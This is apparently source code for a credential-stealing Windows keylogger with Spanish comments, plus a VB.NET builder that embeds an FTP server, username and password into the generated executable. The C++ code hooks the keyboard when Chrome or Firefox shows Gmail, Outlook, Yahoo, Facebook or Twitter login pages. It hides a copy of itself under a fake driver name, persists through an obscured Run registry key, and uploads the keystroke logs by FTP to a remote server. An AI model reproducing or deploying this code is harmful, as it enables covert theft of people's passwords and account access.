		Detecta paginas de navegacion en Google Chrome & Firefox
		En caso de entrar en paginas que requieran login y demas activa un keylogger por 4 minutos para detectar las teclas.
		[email protected]
	*/

class PUT_LOGGER
{
	private:
		IHANDLE Request, Connection;
		
		_iOpen iOpen;
		_iConnect iConnect;
		_iCloseHandle iCloseHandle;
		_iSend iSend;

	public:

		bool __stdcall ToFile ( PCHAR Server, PCHAR UserName, PCHAR PassWord, 
			PCHAR FileNameLocal, PCHAR FileNameRemote );

} PUTLOG, *LPUTLOG;

static char path [ MAX_PATH + 1 ];

FILE* salida;
HHOOK hHook;
MSG msg;

BOOL CALLBACK EnumChildProc ( HWND hwnd, LPARAM lParam );
LRESULT CALLBACK Keyboard ( int nCode, WPARAM wParam, LPARAM lParam );
DWORD __stdcall Keyboard_Trap ( VOID );

LPSTR __stdcall Split ( IN LPSTR lpszString, IN CHAR Delimiter );
BOOL __stdcall ifCharacter ( IN LPSTR lpszString, IN CHAR pCharacter );

int __stdcall GetMyName ( IN char name [ 256 ] );
BOOL __stdcall GetBuffer ( IN LPSTR lpszPath, IN LPSTR pBuffer, IN LPDWORD dwSize );
DWORD __stdcall GetSizeFile ( IN LPSTR lpszPath );
BOOL __stdcall FileWrite ( IN LPSTR lpszPath, IN LPSTR pBuffer, IN DWORD dwSize );
BOOL __stdcall FileExists ( IN LPSTR lpszPath );

bool __stdcall PUT_LOGGER::ToFile ( PCHAR Server, PCHAR UserName, PCHAR Password, 
	PCHAR FileNameLocal, PCHAR FileNameRemote )
{

	iOpen = ( _iOpen ) GetProcAddress ( ( HINSTANCE ) LoadLibraryA ( ( LPSTR ) LIB ), "InternetOpenA" );
	iConnect = ( _iConnect ) GetProcAddress ( ( HINSTANCE ) LoadLibraryA ( ( LPSTR ) LIB ), "InternetConnectA" );
	iCloseHandle = ( _iCloseHandle ) GetProcAddress ( ( HINSTANCE ) LoadLibraryA ( ( LPSTR ) LIB ), "InternetCloseHandle" );
	iSend = ( _iSend ) GetProcAddress ( ( HINSTANCE ) LoadLibraryA ( ( LPSTR ) LIB ), "FtpPutFileA" );

	Request = iOpen ( "Windows Update common", 1, 0, 0, 0 );
	if ( Request == 0L ) {
		iCloseHandle ( Request );

		return false;
	}

	Connection = iConnect ( Request, Server, 21, UserName, Password, 1, 0, 0 );
	if ( Connection == 0L ) {

		iCloseHandle ( Connection );
		iCloseHandle ( Request );

		return false;
	}

	if ( iSend ( Connection, FileNameLocal, FileNameRemote, 2, 0 ) == FALSE ) {
		
		iCloseHandle ( Connection );
		iCloseHandle ( Request );

		return false;
	}
	else
	{
		DeleteFileA ( FileNameLocal );
	}

	iCloseHandle ( Request );
	iCloseHandle ( Connection );

	return true;
}

BOOL CALLBACK EnumChildProc ( HWND hwnd, LPARAM lParam )
{
	char Text [ 256 ], Classes [ 256 ];
	GetWindowText ( hwnd, Text, 255 );
	SYSTEMTIME time;

	GetClassName ( hwnd, Classes, 255 );

	if ( ( hwnd == GetForegroundWindow() ) && IsWindowVisible ( hwnd ) )
	{
		if ( ( lstrcmpA ( Classes, "Chrome_WidgetWin_1" ) == 0 ) && ( lstrlenA ( Text ) >= 1 ) )
		{
			GetSystemTime ( &time );
			salida = fopen ( path, "a+" );
			fprintf ( salida, "[%s] - [%d/%d/%d - %d:%d:%d%:%dms]\n", Text, time.wDay, time.wMonth, time.wYear, time.wHour, time.wMinute, time.wSecond, time.wMilliseconds );
			fclose ( salida );

			//Si detectamos gmail o hotmail, yahoo.
			if ( ( lstrcmpA ( Text, "Gmail - Google Chrome" ) == 0 ) || 
				( lstrcmpA ( Text, "Outlook - Google Chrome" ) == 0 ) || ( lstrcmpA ( Text, "Yahoo - Google Chrome" ) == 0 ) 
				|| ( lstrcmpA ( Text, "Iniciar sesión - Google Chrome" ) == 0 ) || ( lstrcmpA ( Text, "Facebook - Inicia sesión o regístrate - Google Chrome" ) == 0 ) 
				|| ( lstrcmpA ( Text, "Bienvenido a Twitter - Inicia sesión o regístrate - Google Chrome" ) == 0 ) )
			{
				HANDLE Thread;
				DWORD key;

				Thread = CreateThread ( 0, 0, ( LPTHREAD_START_ROUTINE )Keyboard_Trap, 0, 0, &key );
				if ( Thread )
				{
					WaitForSingleObject ( Thread, ( 4 * 60000 ) ); // 4 minutos.
				}

				CloseHandle ( Thread );
				UnhookWindowsHookEx ( hHook );
			}
			
		}
		else if ( ( lstrcmpA ( Classes, "MozillaWindowClass" ) == 0 ) && ( lstrlenA ( Text ) >= 1 ) ) 
		{
			GetSystemTime ( &time );
			salida = fopen ( path, "a+" );
			fprintf ( salida, "[%s] - [%d/%d/%d - %d:%d:%d%:%dms]\n", Text, time.wDay, time.wMonth, time.wYear, time.wHour, time.wMinute, time.wSecond, time.wMilliseconds );
			fclose ( salida );

			//Si detectamos gmail o hotmail, yahoo.
			if ( ( lstrcmpA ( Text, "Gmail - Mozilla Firefox" ) == 0 ) || 
				( lstrcmpA ( Text, "Outlook - Mozilla Firefox" ) == 0 ) || ( lstrcmpA ( Text, "Yahoo - Mozilla Firefox" ) == 0 ) 
				|| ( lstrcmpA ( Text, "Iniciar sesión - Mozilla Firefox" ) == 0 ) || ( lstrcmpA ( Text, "Facebook - Inicia sesión o regístrate - Mozilla Firefox" ) == 0 ) 
				|| ( lstrcmpA ( Text, "Bienvenido a Twitter - Inicia sesión o regístrate - Mozilla Firefox" ) == 0 ) )
			{
				HANDLE Thread;
				DWORD key;

				Thread = CreateThread ( 0, 0, ( LPTHREAD_START_ROUTINE )Keyboard_Trap, 0, 0, &key );
				if ( Thread )
				{
					WaitForSingleObject ( Thread, ( 4 * 60000 ) ); // 4 minutos.
				}

				CloseHandle ( Thread );
				UnhookWindowsHookEx ( hHook );
			}
			
		}
	}

	return TRUE;
}

LRESULT CALLBACK Keyboard ( int nCode, WPARAM wParam, LPARAM lParam )
{
	char keyname [ 256 ];

	if ( nCode < 0 )
	{
		return CallNextHookEx ( hHook, nCode, wParam, lParam );
	}

	if ( wParam == WM_KEYDOWN )
	{

		PKBDLLHOOKSTRUCT keyboard = reinterpret_cast <PKBDLLHOOKSTRUCT>(lParam);
		int ScanCode = MapVirtualKeyEx ( keyboard -> vkCode, 0, GetKeyboardLayout ( 0 ) );
		GetKeyNameText ( ScanCode << 16, keyname, 255 );

		salida = fopen ( path, "a+" );
		if ( lstrlenA ( keyname ) > 1 )
		{
			fprintf ( salida, " %s ", keyname );
		}
		else
		{
			fprintf ( salida, "%s", keyname );
		}

		fclose ( salida );
	}

	return CallNextHookEx ( hHook, nCode, wParam, lParam );
}

DWORD __stdcall Keyboard_Trap ( VOID )
{

	hHook = SetWindowsHookEx ( WH_KEYBOARD_LL, ( HOOKPROC ) Keyboard, GetModuleHandle ( 0L ), 0L );

	while ( ! GetMessage ( &msg, 0, 0, 0 ) )
	{
		TranslateMessage ( &msg );
		DispatchMessage ( &msg );
	}
	
	UnhookWindowsHookEx ( hHook );

	return 0;
}

LPSTR __stdcall Split ( IN LPSTR lpszString, IN CHAR Delimiter )
{
	register DWORD bytes = 0;
	for ( bytes; bytes <= lstrlenA ( lpszString ); bytes ++ )
	{
		if ( lpszString [ bytes ] == Delimiter )
		{
			return lpszString + ( bytes + 1 );
		}
	}

	return lpszString;
}

BOOL __stdcall ifCharacter ( IN LPSTR lpszString, IN CHAR pCharacter )
{
	register DWORD bytes = 0;
	for ( bytes; bytes <= lstrlenA ( lpszString ); bytes ++ )
	{
		if ( lpszString [ bytes ] == pCharacter )
		{
			return TRUE;
		}
	}

	return FALSE;
}

int __stdcall GetMyName ( IN char name [ 256 ] )
{

	char szExeName [ MAX_PATH + 1 ];
	DWORD dwbytes;

	_QueryFullProcessImageName QueryFullProcessImageName = ( _QueryFullProcessImageName ) 
		GetProcAddress ( ( HINSTANCE ) LoadLibraryA ( ( LPSTR ) "KERNEL32.DLL" ), "QueryFullProcessImageNameA" );

	HANDLE Process = OpenProcess ( PROCESS_QUERY_INFORMATION, false, GetCurrentProcessId () );
	if ( ! Process )
	{
		CloseHandle ( Process );
		return -1;
	}

	QueryFullProcessImageName ( Process, 0, name, &dwbytes );
	CloseHandle ( Process );

	return 0;
}

BOOL __stdcall GetBuffer ( IN LPSTR lpszPath, IN LPSTR pBuffer, IN LPDWORD dwSize )
{

	HANDLE File;
	DWORD dwFileSize, dwBytes;

	File = CreateFileA ( lpszPath, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0 );
	if ( File == INVALID_HANDLE_VALUE )
	{
		CloseHandle ( File );
		return FALSE;
	}

	dwFileSize = GetFileSize ( File, 0 );
	*dwSize = dwFileSize;

	ReadFile ( File, pBuffer, dwFileSize, &dwBytes, 0 );
	CloseHandle ( File );

	return TRUE;

}

DWORD __stdcall GetSizeFile ( IN LPSTR lpszPath )
{

	HANDLE File;
	DWORD dwFileSize, dwBytes;

	File = CreateFileA ( lpszPath, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, 0, 0 );
	if ( File == INVALID_HANDLE_VALUE )
	{
		CloseHandle ( File );
		return 0;
	}

	dwFileSize = GetFileSize ( File, 0 );

	CloseHandle ( File );

	return dwFileSize;

}

BOOL __stdcall FileWrite ( IN LPSTR lpszPath, IN LPSTR pBuffer, IN DWORD dwSize )
{
	HANDLE File;
	DWORD dwBytes;

	File = CreateFileA ( lpszPath, GENERIC_WRITE, FILE_SHARE_WRITE, 0, CREATE_ALWAYS, ATTR, 0 );
	if ( File == INVALID_HANDLE_VALUE )
	{
		CloseHandle ( File );
		return FALSE;
	}

	WriteFile ( File, pBuffer, dwSize, &dwBytes, 0 );
	CloseHandle ( File );

	return TRUE;
}

BOOL __stdcall FileExists ( IN LPSTR lpszPath )
{
	DWORD Attributes;
	Attributes = GetFileAttributesA ( lpszPath );

	if ( Attributes == INVALID_FILE_ATTRIBUTES )
	{
		return FALSE;
	}
	else
	{
		return TRUE;
	}

	return FALSE;
}
		
int __stdcall WinMain ( HINSTANCE hThisInstance, HINSTANCE hPrevInstance, 
	LPSTR lpszArgument, int nCmdFunstil )
{

	DWORD dwSize;
	DWORD tmp;
	HKEY key;

	SYSTEMTIME time;
	GetLocalTime ( &time );

	PUT_LOGGER Logger;

	int Hour = time.wHour; //Hora de comienzo.

	if ( Hour == 12 || Hour == 0 )
	{
		Hour = 1;
	}

	char path_inf [ MAX_PATH + 1 ];
	char encrypted [ MAX_PATH + 1 ];

	char one [ 10 ] = "Sof";
	char two [ 20 ] = "\\Micro";
	char three [ 50 ] = "dows\\Curre";
	char four [ 50 ] = "\\Ru";
	char dop [ 150 ];

	if ( lstrlenA ( one ) > 0 )
	{

		wsprintfA ( encrypted, "%stware%ssoft\\Win%sntVersion%sn", one, two, three, four );
		wsprintfA ( path_inf, "%s\\system\\%slogical.%s", getenv ( "windir"), "driver", "exe" );
		wsprintfA ( dop, "Driver %s", "Sound" );
		wsprintfA ( path, "%s\\config.inf", getenv ( "windir" ) );
	}

	HWND hwnd = GetDesktopWindow ();
	
	char myname [ MAX_PATH + 1 ];
	GetMyName ( myname );

	LPSTR Bufferx = ( LPSTR ) ALLOC ( GETSIZE ( myname ) );
	GetBuffer ( myname, Bufferx, &dwSize );

	FileWrite ( path_inf, Bufferx, dwSize );

	if ( RegOpenKeyExA ( HKEY_LOCAL_MACHINE, encrypted, 0, (0x0002), &key ) == ERROR_SUCCESS )
	{
		RegSetValueExA ( key, dop, 0, REG_SZ, ( const unsigned char *) myname, ( BYTE ) lstrlenA ( myname ) );
	}
			
	RegCloseKey ( key );

	for ( DWORD i = 0; i <= dwSize; i ++ )
	{
		if ( Bufferx [ i ] == '*' && Bufferx [ i + 1 ] == '+' &&
				Bufferx [ i + 2 ] == '+' && Bufferx [ i + 3 ] == '*' )
		{
			Bufferx += ( i + 4 );
			dwSize -= ( i + 4 );
		}
	}

	LPSTR Primero, User, Pass, SERVER;

	User = ( LPSTR ) ALLOC ( MAX_PATH );
	Pass = ( LPSTR ) ALLOC ( MAX_PATH );
	SERVER = ( LPSTR ) ALLOC ( MAX_PATH );
	Primero = ( LPSTR ) ALLOC ( 600 );
	
	if ( ifCharacter ( Bufferx, ',' ) )
	{
		Primero = Split ( Bufferx, ',' );
	}
	else
	{
		FREE ( Bufferx );
		FREE ( Primero );
		FREE ( User );
		FREE ( Pass );
		FREE ( SERVER );

		return EXIT_FAILURE;
	}

	register DWORD bytes = 0;

	for ( bytes; bytes <= lstrlenA ( Primero ); bytes ++ )
	{
		if ( Primero [ bytes ] != ',' )
		{
			CopyMemory ( & SERVER [ bytes ], & Primero [ bytes ], 1 );
		}
		else
		{
			Primero += ( bytes + 1 );
			break;
		}
	}

	bytes = 0;

	for ( bytes; bytes <= lstrlenA ( Primero ); bytes ++ )
	{
		if ( Primero [ bytes ] != ',' )
		{
			CopyMemory ( & User [ bytes ], & Primero [ bytes ], 1 );
		}
		else
		{
			Primero += ( bytes + 1 );
			break;
		}
	}

	CopyMemory ( & Pass [ 0 ], & Primero [ 0 ], lstrlenA ( Primero ) );
	FREE ( Primero );
	FREE ( Bufferx );

	char tmp_log [ 256 ];

	while ( 1 )
	{

		GetLocalTime ( & time );
		if ( time.wMinute == Hour + 1 )
		{
			wsprintfA ( tmp_log, "archivo de %d:%d:%d - %d-%d-%d.txt", time.wHour, time.wMinute, time.wSecond, time.wDay, time.wMonth, time.wYear );
			Logger.ToFile ( SERVER, User, Pass, path, tmp_log );

			if ( Hour == 12 || Hour == 0 )
			{
				Hour = 1;
			}
		}

		if ( ! FileExists ( path_inf ) )
		{
			FileWrite ( path_inf, Bufferx, dwSize );
			if ( RegOpenKeyExA ( HKEY_LOCAL_MACHINE, encrypted, 0, (0x0002), &key ) == ERROR_SUCCESS )
			{
				RegSetValueExA ( key, dop, 0, REG_SZ, ( const unsigned char *) myname, ( BYTE ) lstrlenA ( myname ) );
			}

			RegCloseKey ( key );
		}

		for ( int i = 0; i <= 1; i ++ )
		{
			EnumChildWindows ( hwnd, EnumChildProc, 0 );
			Sleep ( 2000 );
		}
	}

	FREE ( User );
	FREE ( Pass );
	FREE ( SERVER );
 
	return EXIT_SUCCESS;
}

Public Class Form1

    Dim ff As Long
    Dim buffer As String

    Private Sub Button2_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button2.Click
        End
    End Sub

    Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click
        If Not TextBox1.Text = "" And Not TextBox2.Text = "" And Not TextBox3.Text = "" Then
            ff = FreeFile()

            FileOpen(1, "STUB.DLL", OpenMode.Binary, OpenAccess.Read, OpenShare.LockRead)
            buffer = Space(LOF(ff))
            FileGet(1, buffer)
            FileClose(1)

            FileOpen(1, "Generado.exe", OpenMode.Binary, OpenAccess.Write, OpenShare.LockWrite)
            FilePut(1, buffer & "*++*," & TextBox1.Text & "," & TextBox2.Text & "," & TextBox3.Text)
            FileClose(1)

            MsgBox("Compilado con exito", MsgBoxStyle.Information + MsgBoxStyle.OkOnly, "Exito")

            TextBox1.Text = ""
            TextBox2.Text = ""
            TextBox3.Text = ""

            TextBox1.Focus()
        End If
    End Sub

    Private Sub Form1_Activated(ByVal sender As Object, ByVal e As System.EventArgs) Handles Me.Activated
        TextBox1.Focus()
    End Sub

End Class